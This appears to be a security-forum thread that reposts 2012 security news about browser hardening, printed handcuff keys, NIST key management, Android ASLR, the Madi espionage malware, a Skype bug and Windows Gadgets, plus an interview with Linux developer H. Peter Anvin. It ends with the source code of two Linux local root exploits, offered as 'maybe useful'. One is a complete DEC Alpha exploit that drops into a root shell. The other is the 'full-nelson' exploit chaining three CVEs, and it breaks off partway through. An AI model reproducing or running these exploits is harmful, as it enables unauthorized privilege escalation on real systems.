Nytro

[h=1]Which browser is safest? The browser wars are back and this time you win[/h]by Chester Wisniewski on July 16, 2012 Several media organizations have recently reported that Chrome has bypassed Internet Explorer in worldwide browser market share. Here at Sophos, we don't keep track of that sort of thing, but we have seen a major change in browser marketing over the last 24 months. The browser makers are selling security. Microsoft has been promoting Internet Explorer 10's security chops, which will ship later this year with Windows 8 and will reportedly be made available to Windows 7 users as well. The new version of IE will be a full 64 bit application on 64 bit Windows, increasing the difficulty of bypassing exploit mitigation techniques like ASLR. IE 10 also introduces a new setting called Enhanced Protected Mode (EPM). EPM adds several new sandbox-like technologies and introduces the concept of plug-in-free browsing. Mozilla is preparing to launch Firefox 14 any day now with its own set of security-enhancing features. Firefox will now default to using HTTPS for search queries submitted to Google. This is a great improvement for privacy and it appears that the Firefox developers are exploring similar features for other search engines. My favorite new Firefox feature is the "Click to Play" plugin preference. If you enable this feature (plugins.click_to_play under about:config), websites containing content such as Flash or Quicktime will be blocked by default, to prevent drive-by exploitation. If you wish to see the video, you simply click on the box to enable the plugin. Chrome 20 was released last month, and attempts to get a grip on malicious extensions being distributed on Facebook and other sites. The latest version of Chrome will no longer allow extensions to be loaded from any web page other than the Chrome Web Store. Additionally, Google has begun screening applications submitted to the official Web Store. It is a bit shocking that Google wasn't doing any screening before - but better late than never. The Google Chrome team are now bragging about Chrome 21 including a fully-sandboxed version of Adobe Flash for all versions of Windows. (Adobe released a sandboxed version of Flash for Firefox in June. The differences between the Firefox and Chrome sandboxes is unclear.) With the browser developers trying to gain market share and using security as a competitive advantage, we all win. Security doesn't need to be annoying or difficult and when implemented elegantly is an advantage. Hopefully the developers of Java are listening and will try to catch up with Adobe, Microsoft, Mozilla and Google. Sursa: Which browser is safest? The browser wars are back and this time you win | Naked Security

[h=1]3D printer helps pick locks in high-end security handcuffs[/h]Man at hacker conference demonstrates how he made CAD models of restricted keys and produced plastic replicas, according to a Forbes report. by Steven Musil July 16, 2012 7:26 PM PDT While 3D printing has shown much promise in helping to treat physical ailments and disabilities, there may be more nefarious applications in the near future. The security of high-end handcuffs can be defeated by plastic keys cheaply produced with a laser cutter and 3D printer, a man who identified himself as "Ray" demonstrated last week at a Hackers on Planet Earth conference workshop, according to a Forbes report. His 3D-printer-produced replica keys opened handcuffs produced by German manufacturer Bonowi and British maker Chubb, both of which try to restrict distribution of keys that open their locks to law-enforcement agencies. Ray said he made precise measurements of the key, which he said was purchased on eBay, and created CAD models from which he produced copies in plexiglass and ABS plastic. 3D printing is executed on large machines that can spit out copies of digital designs on a wide range of materials, from polymers to recyclable plastics to metals. Some recent uses include the production of replacement jaws to the creation of new blood vessels. However, the machines can cost tens of thousands of dollars and often turn out misprinted copies. The demonstration also highlights a challenge faced by police departments, which typically issue a standard key to officers that open all the handcuffs used in that particular department. "Police need to know that every new handcuff they buy has a key that can be reproduced," he says. "Until every handcuff has a different key, they can be copied." Ray, a security consultant who also advises German police on handcuff technology, said he plans to upload the Chubb CAD files to the 3D-printing Web platform Thingiverse later this week. He said the goal of his demonstration was expose the vulnerabilities of handcuffs. "If someone is planning a prison or court escape, he can do it without our help," he said. "We're just making everyone aware, both the hackers and the police." Sursa: 3D printer helps pick locks in high-end security handcuffs | Security & Privacy - CNET News

[h=1]NIST Recommendations for Cryptographic Key Management[/h] Tuesday, July 17, 2012 The proper management of cryptographic keys is essential to the effective use of cryptography for security. Keys are analogous to the combination of a safe. If a safe combination is known to an adversary, the strongest safe provides no security against penetration. Similarly, poor key management may easily compromise strong algorithms. Ultimately, the security of information protected by cryptography directly depends on the strength of the keys, the effectiveness of mechanisms and protocols associated with keys, and the protection afforded to the keys. All keys need to be protected against modification, and secret and private keys need to be protected against unauthorized disclosure. Key management provides the foundation for the secure generation, storage, distribution, use and destruction of keys. Users and developers are presented with many choices in their use of cryptographic mechanisms. Inappropriate choices may result in an illusion of security, but little or no real security for the protocol or application. This Recommendation (i.e., SP 800-57) provides background information and establishes frameworks to support appropriate decisions when selecting and using cryptographic mechanisms. This Recommendation does not address implementation details for cryptographic modules that may be used to achieve the security requirements identified. These details are addressed in [FIPS140], the associated implementation guidance and the derived test requirements (available at Bounce to index.html). This Recommendation is written for several different audiences and is divided into three parts. Part 1, General, contains basic key management guidance. It is intended to advise developers and system administrators on the "best practices" associated with key management. Cryptographic module developers may benefit from this general guidance by obtaining a greater understanding of the key management features that are required to support specific, intended ranges of applications. Protocol developers may identify key management characteristics associated with specific suites of algorithms and gain a greater understanding of the security services provided by those algorithms. System administrators may use this document to determine which configuration settings are most appropriate for their information. Part 1 of the Recommendation: 1. Defines the security services that may be provided and key types that may be employed in using cryptographic mechanisms. 2. Provides background information regarding the cryptographic algorithms that use cryptographic keying material. 3. Classifies the different types of keys and other cryptographic information according to their functions, specifies the protection that each type of information requires and identifies methods for providing this protection. 4. Identifies the states in which a cryptographic key may exist during its lifetime. 5. Identifies the multitude of functions involved in key management. 6. Discusses a variety of key management issues related to the keying material. Topics discussed include key usage, cryptoperiod length, domain-parameter validation, publickey validation, accountability, audit, key management system survivability, and guidance for cryptographic algorithm and key size selection. Part 2, General Organization and Management Requirements, is intended primarily to address the needs of system owners and managers. It provides a framework and general guidance to support establishing cryptographic key management within an organization and a basis for satisfying key management aspects of statutory and policy security planning requirements for Federal government organizations. Part 3, Implementation-Specific Key Management Guidance, is intended to address the key management issues associated with currently available implementations. The NIST Recommendations for Cryptographic Key Management can be downloaded here: NIST Recommendations for Cryptographic Key Management.pdf Sursa: NIST Recommendations for Cryptographic Key Management

[h=1]Serial hacker says latest Android will be "pretty hard" to exploit[/h] [h=2]Defenses added to Android Jelly Bean make it harder to hijack end users' phones.[/h] by Dan Goodin - July 16 2012, 11:45pm GTBDT Diagram showing attacker overwriting a return address with a pointer to the stack that contains attacker-supplied data Wikipedia The latest release of Google's Android mobile operating system has finally been properly fortified with an industry-standard defense. It's designed to protect end users against hack attacks that install malware on handsets. In an analysis published Monday, security researcher Jon Oberheide said Android version 4.1, aka Jelly Bean, is the first version of the Google-developed OS to properly implement a protection known as address space layout randomization. ASLR, as it's more often referred to, randomizes the memory locations for the library, stack, heap, and most other OS data structures. As a result, hackers who exploit memory corruption bugs that inevitably crop up in complex pieces of code are unable to know in advance where their malicious payloads will be loaded. When combined with a separate defense known as data execution prevention, ASLR can effectively neutralize such attacks. Although Android 4.0, aka Ice Cream Sandwich, was the first Android release to offer ASLR, the implementation was largely ineffective at mitigating real-world attacks. One of the chief reasons for the deficiency was Android's executable region, heap, libraries, and linker were loaded at the same locations each time. This made it significantly easier for attackers designing exploits to predict where in memory their malicious code can be located. "As long as there's anything that's not randomized, then it (ASLR) doesn't work, because as long as the attacker knows something is in the same spot, they can use that to break out of everything else," Charlie Miller, a veteran smartphone hacker and principal research consultant at security firm Accuvant, told Ars. "Jelly Bean is going to be the first version of Android that has full ASLR and DEP, so it's going to be pretty difficult to write exploits for that." Miller has spent the past seven years writing software exploits that can install malware on Macs, iPhones, and Android handsets when they do nothing more than browse a booby-trapped website. By contrast, Apple's competing iOS has offered fully implemented ASLR and DEP for the past 16 months. Not that Apple developers' track record of adding the protection has been perfect. The 2009 debut of OS X Snow Leopard also failed to randomize core parts of the OS. Those omissions were finally fixed with the later release of OS X Lion. Unlike its Android predecessors, Jelly Bean provides randomization for what's known as position-independent executables. That will make it significantly harder to use a technique known as return-oriented programming when exploiting buffer overflows and other memory-corruption vulnerabilities discovered in the mobile platform. Jelly Bean also provides defenses to prevent information leakage exploits that can lead to much more serious OS exploits. Android has yet to introduce code signing, a protection designed to prevent unauthorized applications from running on the device by requiring code loaded into memory to carry a valid digital signature before it can be executed. It has long been present in iOS. Sursa: Serial hacker says latest Android will be “pretty hard” to exploit | Ars Technica

[h=2]New 'Madi' cyber-espionage campaign targets Iran AND Israel[/h] Attackers 'fluent in Persian', say security sinkholers By John Leyden Security researchers have discovered a new cyber-espionage campaign targeting victims in the Middle East. Kaspersky Lab and Seculert identified more than 800 victims located in Iran, Israel, Afghanistan and elsewhere in the course of monitoring control servers associated with cyber/espionage operation over the last eight months. "Statistics from the sinkhole revealed that the victims were primarily business people working on Iranian and Israeli critical infrastructure projects, Israeli financial institutions, Middle Eastern engineering students, and various government agencies communicating in the Middle East," according to Seculert. The Madi malware associated with the electronic spying operation is far less sophisticated than the Flame, Duqu and Stuxnet worms associated with previously discovered spying operation in the Middle East, many of which have become associated with operations against Iran's controversial nuclear program. Leaked briefings from the Obama administration suggest both Flame and Stuxnet were joint US/Israeli operations Madi is a Trojan that allows remote attackers to swipe sensitive files from infected Windows computers, monitor email and instant messages exchanges, record audio, log keystrokes, and take screenshots of victims' activities. in all these respects the malware is similar in capabilities to banking Trojans. Common applications and websites that were spied on include accounts on Gmail, Hotmail, Yahoo! Mail, ICQ, Skype, Google+, and Facebook. Surveillance also tapped integrated ERP/CRM systems, business contracts, and financial management systems. Kaspersky Lab and Seculert worked together to sinkhole the Madi Command & Control (C&C) servers and thus monitor the spying operation, which they characterise as "amateurish and rudimentary" in execution. "While the malware and infrastructure is very basic compared to other similar projects, the Madi attackers have been able to conduct a sustained surveillance operation against high-profile victims," said Nicolas Brulez, a senior malware researcher at Kaspersky Lab. "Perhaps the amateurish and rudimentary approach helped the operation fly under the radar and evade detection." Aviv Raff, Chief Technology Officer, Seculert, added: "Interestingly, our joint analysis uncovered a lot of Persian strings littered throughout the malware and the C&C tools, which is unusual to see in malicious code. The attackers were no doubt fluent in this language." More on the Madi campaign can be found in a post on Seculert's blog (here) and from Kaspersky Lab here. ® Sursa: New 'Madi' cyber-espionage campaign targets Iran AND Israel • The Register

[h=1]Bug in Skype Lands Conversations in Wrong Windows[/h]By: Bogdan Botezatu IM provider Skype appears to have made a major privacy error yesterday, which may have unforeseen consequences for its users. According to multiple support requests on the Skype forums, instant message delivery has become impossible or, even worse, have been delivered to random Skype users. Image credit: Skype “Messages sent by one contact (2 lines out of a hundred or so) were sent to another contact of mine. These 2 contacts are not connected on Skype. The 2 IMs appeared to be sent by me, so the other contact asked me if I sent them by mistake,” wrote one customer on the Skype support forum. Skype has confirmed the existence of this bug in an official statement. It appears the glitch only occurs when the Skype application crashes while a session is established. This leads to the message sent just prior to the crash to be delivered to a random contact. “ This issue occurs only when a user’s Skype client crashes during a Skype IM session, which may in some cases result in the last IM entered or sent prior to the crash being delivered to a different IM contact after the Skype client is rebooted or logged in as a new user,“ Leonas Sendrauskas, Web QA engineer at Skype, said in a blog post. The company can’t estimate the number of affected customers, but, since the bug only manifests when the application crashes, the company believes few customers have been impacted. However, Skype is not only used by end-users, but is also a means of internal or external communication within companies, where data disclosure could have a different impact. Skype is currently preparing a hotfix to address the issue and advises its customers to update as soon as it becomes available. Sursa: Bug in Skype Lands Conversations in Wrong Windows | HOTforSecurity

[h=1]How Google is becoming an extension of your mind[/h]commentary Google could have us all headed for a mind-blowing future -- if the company can back away from targeted advertising and better help users manage their personal information. by Stephen Shankland July 16, 2012 12:00 AM PDT SAN FRANCISCO -- It's time to think of Google as much more than just a search engine, and that should both excite and spook you. Search remains critical to the company's financial and technological future, but Google also is using the search business' cash to transform itself into something much broader than just a place to point your browser when asking for directions on the Internet. What it's now becoming is an extension of your mind, an omnipresent digital assistant that figures out what you need and supplies it before you even realize you need it. Think of Google diagnosing your daughter's illness early based on where she's been, how alert she is, and her skin's temperature, then driving your car to school to bring her home while you're at work. Or Google translating an incomprehensible emergency announcement while you're riding a train in foreign country. Or Google steering your investment portfolio away from a Ponzi scheme. Google, in essence, becomes a part of you. Imagine Google playing a customized audio commentary based on what you look at while on a tourist trip and then sharing photo highlights with your friends as you go. Or Google taking over your car when it concludes based on your steering response time and blink rate that you're no longer fit to drive. Or your Google glasses automatically beaming audio and video to the police when you say a phrase that indicates you're being mugged. Exciting? I think so. But it's also, potentially, a profoundly creepy change. For a Google-augmented life, you must grant the Googlebot unprecedented privileges to monitor your personal information and behavior. What medicine do you take? What ads did you just glance at while walking by the bus stop? What's your credit card number? And as Google works to integrate social data into its services, you'll have to decide how much you'll share with your contacts' Google accounts -- and the best way to ask them to share their data with your Google account. Where your Google comfort zone ends It'll be foolhardy to be as cavalier with tomorrow's Google as you might be with it today. I think some of those sci-fi possibilities I just described could be real within three to five years, so now is a good time to start thinking about where your Google comfort zone ends. Me? I'm immersed in Google services, but I worry that handy new features will arrive in a steady stream of minor changes that are all but imperceptible until one day I wake up and realize that Google has access to everything that makes me who I am. Google Now says it needs access to my calendar? Sounds useful. My Android phone needs to turn on my phone's microphone so the Google Maps app can judge by ambient noise whether I'm indoors or outdoors? Well, that'll help me get through the airport faster. My glasses need to identify the faces of people in my company so Google can deduce who gets consigned to the Google Voice answering machine and who gets through to my phone even at 3 a.m.? Well, I sure don't want to have to set all that up manually. ARTICOL COMPLET: http://news.cnet.com/8301-1023_3-57470853-93/how-google-is-becoming-an-extension-of-your-mind/

[h=1]Microsoft Disables Windows Sidebar and Gadgets to Keep Users Safe[/h]By: Loredana Botezatu To avoid a possible security flaw, Microsoft made available a fix to disable Windows Sidebar and Gadgets in Windows Vista and Windows 7. The software company intends to keep its users protected in case they run insecure Gadgets that may trigger the execution of arbitrary code by the windows Sidebar and Gadgets. “An attacker who successfully exploited a Gadget vulnerability could run arbitrary code in the context of the current user,” Microsoft points out in a security advisor published on July 10. “If the current user is logged on with administrative user rights, an attacker could take complete control of the affected system.” This makes it clear that an attacker can do whatever he wants on the compromised system, such as install or uninstall programs, change, add or delete data, and, worse, generate new accounts endowed with full user privileges. It becomes clear that users who configured their accounts to have fewer user rights on the system will be safer than those “who operate with administrative user rights”. The Sidebar is an application on one side of the desktop screen to accommodate Gadgets – small applications that display user information such as favorite news feeds, clock or temperature. And should these Gadgets originate from unsafe sources, they can become a hazard to the system and the user. Sursa: Microsoft Disables Windows Sidebar and Gadgets to Keep Users Safe | HOTforSecurity

[h=2]Profiles in Linux: H. Peter Anvin [/h]Friday, 13 July 2012 07:40 Carla Schroder Every time you boot a CD or DVD, thank Peter Anvin for making it possible. And, as a key Linux contributor that's not all Peter has done in his long Linux career. . Peter Anvin is one of the "old geeks" of Linux, and has been a key contributor since 1992, specializing in low level hardware. Currently he is co-maintainer of the unified x86 Linux kernel tree. Peter has contributed to numerous Linux kernel subsystems, and is the author and/or maintainer of several Open Source projects, including the Syslinux boot loader suite, the Netwide Assembler (NASM), klibc, and tftp-hpa. He founded The Linux Kernel Organization, which maintains the kernel.org servers around the globe. Peter lives in San Jose, California, working for Intel's Open Source Technology Center. He has previously worked as an architect and technical director at Transmeta, working on CPU architecture and Code Morphing Software, at Orion Multisystems, designing personal supercomputers and at rPath, working on Linux software appliances. In his spare time, he enjoys hacking programmable logic, scuba diving, fuzzy bunnies, psychotic cats and historical reenactment. He is married to Dr. Suzi Anvin, and is the proud father of almost brand-new baby Erik. I always wonder how people end up doing what they do, and Peter was kind enough to answer a few nosy questions. You've been a key Linux contributor from the beginning, and have written and maintained key Linux subsystems that don't get attention like glamorous desktop environments. But they provide essential functionality that we take for granted. What are you working on now? Anvin: These days I work for Intel's Open Source Technology Center, and my job is to make sure Linux works great on the x86 architecture, and also to make sure the x86 architecture is great for Linux. I was into low-level bits and bytes x86 hacking long before Linux existed, and have always enjoyed working very close to the hardware-software boundary, so for me this is a very exciting place to be. I believe that the biggest weakness in Free Software is the lack of energy and resources being directed into developing and supporting open hardware. We're dead in the water without open hardware. Of course the barrier to entry is a lot higher than software; it's expensive and not something we can just sit down and type into existence. Do you have any ideas on how to improve this situation? Anvin: The real problem with "open hardware" is that it inherently means something different than the "open" in "Open Source". At the bottom there is always a piece of hyper-purified silicon that someone has meticulously modified to turn into millions or billions of transistors, and then soldered down with other components to a manufactured circuit board. None of that is generic; even with technologies like FPGAs (field-programmable gate array, programmable silicon chips) you have to have the physical FPGA manufactured, and you would be lucky to get one-tenth of the performance of the state of the art hard silicon technology. That being said, FPGA hacking is a lot of fun. On the other hand, look at how Linux originally appeared: a college student in Finland took an off-the-shelf commercial product and turned it into something completely different. This was not because the design itself was open, but because it was standards-based technology that could be repurposed. I don't even know what manufacturer made Linus' original PC, and it doesn't even matter -- the key was that it was built to the ISA specification which was the standard at the time; a lot of manufacturers did so and it helped push the prices way down. This is the essence of what separates a piece of hardware from a platform; the PC today is very different from the PC from 31 years ago, but there is a contiguous heritage carried forth by standards and compatibility. Peter dissecting an innocent LED table lamp at Lincon 2012. The most successful open hardware projects, like Arduino, seem to have been the ones that step into a niche not where there is nothing available, but rather there is a hopeless fragmentation problem (exactly how many microcontroller development boards are there out there?) Such a market is desperate for something to become the standard platform of choice, and being an "open hardware project" gives at least a perception that there might be additional longevity over the competition. Since this is largely a self-fulfilling prophecy the openness begets the platform. You and Suzi both have a lot of interests, and you've accomplished a lot in a short amount of time. How do you do everything you do, have you figured out a way to live without sleep? Anvin: I don't think it is as short of a time as you think... I got started on computers very very early. The platform I learned to program on was a Swedish Z80-based computer called the ABC80. It had a whopping 16 kilobytes of RAM; my current PC has 16 gigabytes. My family was at the time in a somewhat hard financial situation, which meant I never actually owned this machine; I borrowed access to it when I could. It also meant I spent a lot of time thinking about the design long before I sat at the computer; I ended up being the weird kid sitting on the playground writing programs in machine code on pieces of paper. Eventually I ended up writing an assembler since I couldn't afford buying one and there wasn't a free one for that platform. However, there is no question that we live very busy lives, and I often get to hear that I work way too much. A big key to making it work at all is the relative flexibility of the work environment in the modern technology industry -- elective telecommuting, flexible hours, IRC and so on; features which are pretty much necessary anyway if you are going to interact with a global development community on which the sun never sets. At the same time, it puts a big onus on the individual worker to find a sane balance with other life commitments. One important skill is to know when to let a project go. For example, autofs has now been maintained by Ian Kent for a long time, and Cyrill Gorcunov does much more work than I do on the Netwide Assembler these days, even if I am still in charge of that project. This can be very hard if there isn't an obvious person that you can trust to hand over to, however. This is sometimes worth thinking about when a project grows from a one-man-band to a real community. As the Linux world matures it is attracting a broader diversity of contributors and users. We need coders, designers, bugfixers, documentation writers, artists, musicians, distributors, community managers, marketers, OEMs -- it takes a large variety of skills and roles to get Linux out the door and to keep improving it. Many Linux contributors have children, but it seems that there is little energy directed towards drawing in children, and creating good child-oriented teaching tools. So where are the next generations of these essential contributors coming from? Anvin: I actually think that there are some excellent child-oriented teaching tools out there! Kids love things where they can see the impact they are having directly, so things like LEGO Mindstorms, Arduino, the Blockly programming language, and even Minecraft are certainly things that should attract children. Some of these may not be Open Source all the way down, but I'm not convinced that matters so much at that stage; what matters is that it can be programmed, and that it provides a platform for sharing. In the 1980s what made the early home computers approachable was the fact that they came with BASIC interpreters; they were horribly slow compared to assembly programming, but they lowered the barrier to accomplish something down to very little. I used Microsoft QuickBASIC for some trivial hacking projects well into the mid-1990s when I otherwise was using Linux and C. I could hammer out a quick hack complete with pretty graphics in half an hour. I think it's the only Microsoft product that I actually miss. Do you have any thoughts on what sort of technical education kids should be receiving in school? What skills do they need, how young should they start? Anvin: Kids need to learn to explore. I have always found that the big problem with most school-based technical education is that it is a single path from A to B; that doesn't give any opportunity for exploration, and without exploration you have no room for creativity. Imagine an art class where every project is paint-by-numbers! As for how young... I don't think there is a lower limit, and I definitely don't believe in protecting kids from things that are too "advanced" for them. The key is to find the spark of curiosity and let them run with it. Sursa: https://www.linux.com/news/software/linux-kernel/602693-profiles-in-linux-h-peter-anvin

DEC Alpha Linux <= 3.0 local root exploit Mai vechi, dar poate util: /* * DEC Alpha Linux <= 3.0 local root exploit * by Dan Rosenberg (@djrbliss) * * Usage: * $ gcc alpha-omega.c -o alpha-omega * $ ./alpha-omega * * Notes: * -Payload specific to <= 2.6.28 (no cred struct, modify as needed) * -Socket trigger tested on 2.6.28 (adjust offset as needed) * -INET_DIAG parsing code borrowed from netstat */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/wait.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/inet_diag.h> #include <string.h> #include <sys/mman.h> #include <errno.h> #include <netinet/in.h> #define SYS_osf_wait4 7 #define SOCK_OFFSET 552 /* Offset of sk_destruct fptr in sock * struct, change for your kernel */ #define PAGE_SIZE 8192 /* DEC alpha page size is 8K */ #define KERNEL_BASE 0xfffffc0000000000 /* DEC alpha PAGE_OFFSET */ #define TASK_STRUCT_OFFSET 64 /* task_struct offset in thread_info */ #define PAYLOAD 0x20000 #define PORT 31337 static int uid, gid; /* Writes (0xff & value) << 8 to addr */ void kernel_write(unsigned long addr, int value) { int pid = fork(); if (pid) { /* wait4 backdoor number two? */ syscall(SYS_osf_wait4, pid, (int *)addr, 0, 1); return; } else { exit(value); } } /* Get the INET_DIAG cookie for our socket, which contains the low 32 bits * of the sock struct address */ unsigned int get_cookie(unsigned int port) { int fd; struct sockaddr_nl nladdr; struct { struct nlmsghdr nlh; struct inet_diag_req r; } req; struct msghdr msg; char buf[8192]; struct iovec iov; struct inet_diag_msg *r; if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_INET_DIAG)) < 0) return -1; memset(&nladdr, 0, sizeof(nladdr)); nladdr.nl_family = AF_NETLINK; req.nlh.nlmsg_len = sizeof(req); req.nlh.nlmsg_type = TCPDIAG_GETSOCK; req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST; req.nlh.nlmsg_pid = 0; req.nlh.nlmsg_seq = 123456; memset(&req.r, 0, sizeof(req.r)); req.r.idiag_family = AF_INET; req.r.idiag_states = 0xfff; req.r.idiag_ext = 0; iov.iov_base = &req; iov.iov_len = sizeof(req); msg = (struct msghdr) { .msg_name = (void*)&nladdr, .msg_namelen = sizeof(nladdr), .msg_iov = &iov, .msg_iovlen = 1, }; if (sendmsg(fd, &msg, 0) < 0) { close(fd); return -1; } iov.iov_base = buf; iov.iov_len = sizeof(buf); while (1) { int status; struct nlmsghdr *h; msg = (struct msghdr) { (void*)&nladdr, sizeof(nladdr), &iov, 1, NULL, 0, 0 }; status = recvmsg(fd, &msg, 0); if (status < 0) { if (errno == EINTR) continue; close(fd); return -1; } if (status == 0) { close(fd); return -1; } h = (struct nlmsghdr*)buf; while (NLMSG_OK(h, status)) { if (h->nlmsg_seq == 123456) { if (h->nlmsg_type == NLMSG_DONE) { close(fd); return -1; } if (h->nlmsg_type == NLMSG_ERROR) { close(fd); return -1; } r = NLMSG_DATA(h); if (r->idiag_family == AF_INET && ntohs(r->id.idiag_sport) == port) return r->id.idiag_cookie[0]; } h = NLMSG_NEXT(h, status); } } close(fd); return -1; } /* Get the address of the sock struct for our socket */ unsigned long get_sock_addr(unsigned int port) { FILE *f; char buf[1024], path[512]; unsigned int testport, cookie, a; unsigned long addr, b; f = fopen("/proc/net/tcp", "r"); if (f < 0) { printf(" [*] Failed to open /proc/net/tcp\n"); return 0; } while (fgets(buf, 1024, f)) { sscanf(buf, "%4d: %08X:%04X %08X:%04X %02X %08X:%08X " "%02X:%08lX %08X %5d %8d %lu %d %p %lu %lu %u %u " "%d\n", &a, &a, &testport, &a, &a, &a, &a, &a, &a, &b, &a, &a, &a, &b, &a, (void **)&addr, &b, &b, &a, &a, &a); if (testport == port) { /* If kptr_restrict is on... */ if (!addr) { cookie = get_cookie(port); addr = (unsigned long)cookie + KERNEL_BASE; } fclose(f); return addr; } } fclose(f); return 0; } void getroot() { int i; /* Alpha has 16K stacks */ unsigned long thread_info = (unsigned long)&i & ~0x3fff; unsigned long task_struct = *(unsigned long *)(thread_info + TASK_STRUCT_OFFSET); int *j = (int *)task_struct; for (i = 0; i < 1000; i++, j++) { if (j[0] == uid && j[1] == uid && j[2] == uid && j[3] == uid && j[4] == gid && j[5] == gid && j[6] == gid && j[7] == gid) { /* uid, euid, suid, fsuid */ j[0] = j[1] = j[2] = j[3] = 0; /* gid, egid, sgid, fsgid */ j[4] = j[5] = j[6] = j[7] = 0; /* caps */ j[10] = j[11] = 0xffffffff; j[12] = j[13] = 0xffffffff; j[14] = j[15] = 0xffffffff; break; } } } void trampoline() { asm volatile( "mov %0, $0\n" "ldq $27, 0($0)\n" "jsr $26, ($27)\n" : : "r"(PAYLOAD)); } int main(int argc, char * argv[]) { unsigned long target, *payload; void *landing; int sock; struct sockaddr_in addr; size_t len; uid = getuid(); gid = getgid(); printf(" [*] Opening TCP socket...\n"); sock = socket(AF_INET, SOCK_STREAM, 0); if (sock < 0) { printf(" [*] Failed to open TCP socket.\n"); return -1; } memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_port = htons(PORT); addr.sin_addr.s_addr = INADDR_ANY; if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) != 0) { printf(" [*] Failed to bind TCP socket.\n"); return -1; } /* Our socket won't appear in /proc/net/tcp unless it's listening */ if (listen(sock, 1)) { printf(" [*] Failed to listen on TCP socket.\n"); return -1; } printf(" [*] Getting socket address from INET_DIAG...\n"); target = get_sock_addr(PORT); if (!target) { printf(" [*] Failed to get socket address.\n"); return -1; } printf(" [*] Socket address: %lx\n", target); target += SOCK_OFFSET; printf(" [*] Mapping payload...\n"); landing = mmap((void *)0x10000, PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); /* We need to keep the address of our payload at a constant address, * so we can retrieve it and jump to it in our trampoline. */ payload = (unsigned long *)mmap((void *)PAYLOAD, PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); if (landing == MAP_FAILED || payload == MAP_FAILED) { printf(" [*] Failed to map payload.\n"); return -1; } *payload = (unsigned long)&getroot; memcpy((void *)landing, &trampoline, 256); printf(" [*] Overwriting function pointer at %lx...\n", target); kernel_write(target, 0); kernel_write(target + 4, 0); kernel_write(target + 1, 1); printf(" [*] Triggering payload...\n"); close(sock); if (getuid()) { printf(" [*] Failed to get root.\n"); return -1; } printf(" [*] Got root!\n"); execl("/bin/sh", "sh", NULL); } Sursa: http://vulnfactory.org/exploits/alpha-omega.c

Linux Kernel <= 2.6.37 local privilege escalation Mai vechi, dar poate util: /* * Linux Kernel <= 2.6.37 local privilege escalation * by Dan Rosenberg * @djrbliss on twitter * * Usage: * gcc full-nelson.c -o full-nelson * ./full-nelson * * This exploit leverages three vulnerabilities to get root, all of which were * discovered by Nelson Elhage: * * CVE-2010-4258 * ------------- * This is the interesting one, and the reason I wrote this exploit. If a * thread is created via clone(2) using the CLONE_CHILD_CLEARTID flag, a NULL * word will be written to a user-specified pointer when that thread exits. * This write is done using put_user(), which ensures the provided destination * resides in valid userspace by invoking access_ok(). However, Nelson * discovered that when the kernel performs an address limit override via * set_fs(KERNEL_DS) and the thread subsequently OOPSes (via BUG, page fault, * etc.), this override is not reverted before calling put_user() in the exit * path, allowing a user to write a NULL word to an arbitrary kernel address. * Note that this issue requires an additional vulnerability to trigger. * * CVE-2010-3849 * ------------- * This is a NULL pointer dereference in the Econet protocol. By itself, it's * fairly benign as a local denial-of-service. It's a perfect candidate to * trigger the above issue, since it's reachable via sock_no_sendpage(), which * subsequently calls sendmsg under KERNEL_DS. * * CVE-2010-3850 * ------------- * I wouldn't be able to reach the NULL pointer dereference and trigger the * OOPS if users weren't able to assign Econet addresses to arbitrary * interfaces due to a missing capabilities check. * * In the interest of public safety, this exploit was specifically designed to * be limited: * * * The particular symbols I resolve are not exported on Slackware or Debian * * Red Hat does not support Econet by default * * CVE-2010-3849 and CVE-2010-3850 have both been patched by Ubuntu and * Debian * * However, the important issue, CVE-2010-4258, affects everyone, and it would * be trivial to find an unpatched DoS under KERNEL_DS and write a slightly * more sophisticated version of this that doesn't have the roadblocks I put in * to prevent abuse by script kiddies. * * Tested on unpatched Ubuntu 10.04 kernels, both x86 and x86-64. * * NOTE: the exploit process will deadlock and stay in a zombie state after you * exit your root shell because the Econet thread OOPSes while holding the * Econet mutex. It wouldn't be too hard to fix this up, but I didn't bother. * * Greets to spender, taviso, stealth, pipacs, jono, kees, and bla */ #include <stdio.h> #include <sys/socket.h> #include <fcntl.h> #include <sys/ioctl.h> #include <string.h> #include <net/if.h> #include <sched.h> #include <stdlib.h> #include <signal.h> #include <sys/utsname.h> #include <sys/mman.h> #include <unistd.h> /* How many bytes should we clear in our * function pointer to put it into userspace? */ #ifdef __x86_64__ #define SHIFT 24 #define OFFSET 3 #else #define SHIFT 8 #define OFFSET 1 #endif /* thanks spender... */ unsigned long get_kernel_sym(char *name) { FILE *f; unsigned long addr; char dummy; char sname[512]; struct utsname ver; int ret; int rep = 0; int oldstyle = 0; f = fopen("/proc/kallsyms", "r"); if (f == NULL) { f = fopen("/proc/ksyms", "r"); if (f == NULL) goto fallback; oldstyle = 1; } repeat: ret = 0; while(ret != EOF) { if (!oldstyle) ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); else { ret = fscanf(f, "%p %s\n", (void **)&addr, sname); if (ret == 2) { char *p; if (strstr(sname, "_O/") || strstr(sname, "_S.")) continue; p = strrchr(sname, '_'); if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) { p = p - 4; while (p > (char *)sname && *(p - 1) == '_') p--; *p = '\0'; } } } if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : ""); fclose(f); return addr; } } fclose(f); if (rep) return 0; fallback: uname(&ver); if (strncmp(ver.release, "2.6", 3)) oldstyle = 1; sprintf(sname, "/boot/System.map-%s", ver.release); f = fopen(sname, "r"); if (f == NULL) return 0; rep = 1; goto repeat; } typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; static int 